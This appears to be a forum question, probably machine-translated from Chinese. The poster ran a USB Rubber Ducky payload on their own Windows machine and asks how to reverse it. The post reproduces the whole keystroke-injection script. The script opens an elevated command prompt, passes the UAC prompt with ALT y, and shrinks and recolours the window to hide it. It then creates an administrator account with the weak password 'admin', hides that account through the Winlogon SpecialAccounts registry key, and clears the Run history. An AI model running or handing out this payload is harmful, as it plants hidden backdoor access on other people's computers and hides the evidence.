0

所以我认为把我的 Arduino Pro Micro 变成一个坏的 USB 橡皮鸭会很有趣。错了，没那么好玩。愚蠢的我运行了这个创建管理用户并将其隐藏在其他帐户中的代码。我在我的头上，也是一个彻头彻尾的白痴。该脚本可以在这里找到：https ://github.com/hak5darren/USB-Rubber-Ducky/wiki/Windows-10:-Add-admin-account

REM Start delay
DELAY 1000
DELAY 300
GUI r
DELAY 300

STRING powershell Start-Process cmd -Verb runAs
DELAY 300
ENTER

DELAY 2000
REM bypassing security dialog
ALT y
DELAY 500
REM obfuscationg terminal
STRING mode con:cols=18 lines=1
DELAY 300
ENTER
REM changing color
STRING color 78
DELAY 300
ENTER
REM adding user usename = ADMIN password is admin 
STRING net user /add ADMIN admin
DELAY 300
ENTER
REM Adding user in administrators group
STRING net localgroup administrators ADMIN /add
DELAY 300
ENTER
REM Hiding the user via editing registory
STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
DELAY 300
ENTER

STRING REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ADMIN /t REG_DWORD /d 0
DELAY 300
ENTER

REM removing the footprints.
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
DELAY 300
ENTER
REM Safe exiting
STRING exit
DELAY 300
ENTER

如果有人知道如何扭转这一点，那将是非常好的。很抱歉浪费了任何人的时间。

4

0 回答 0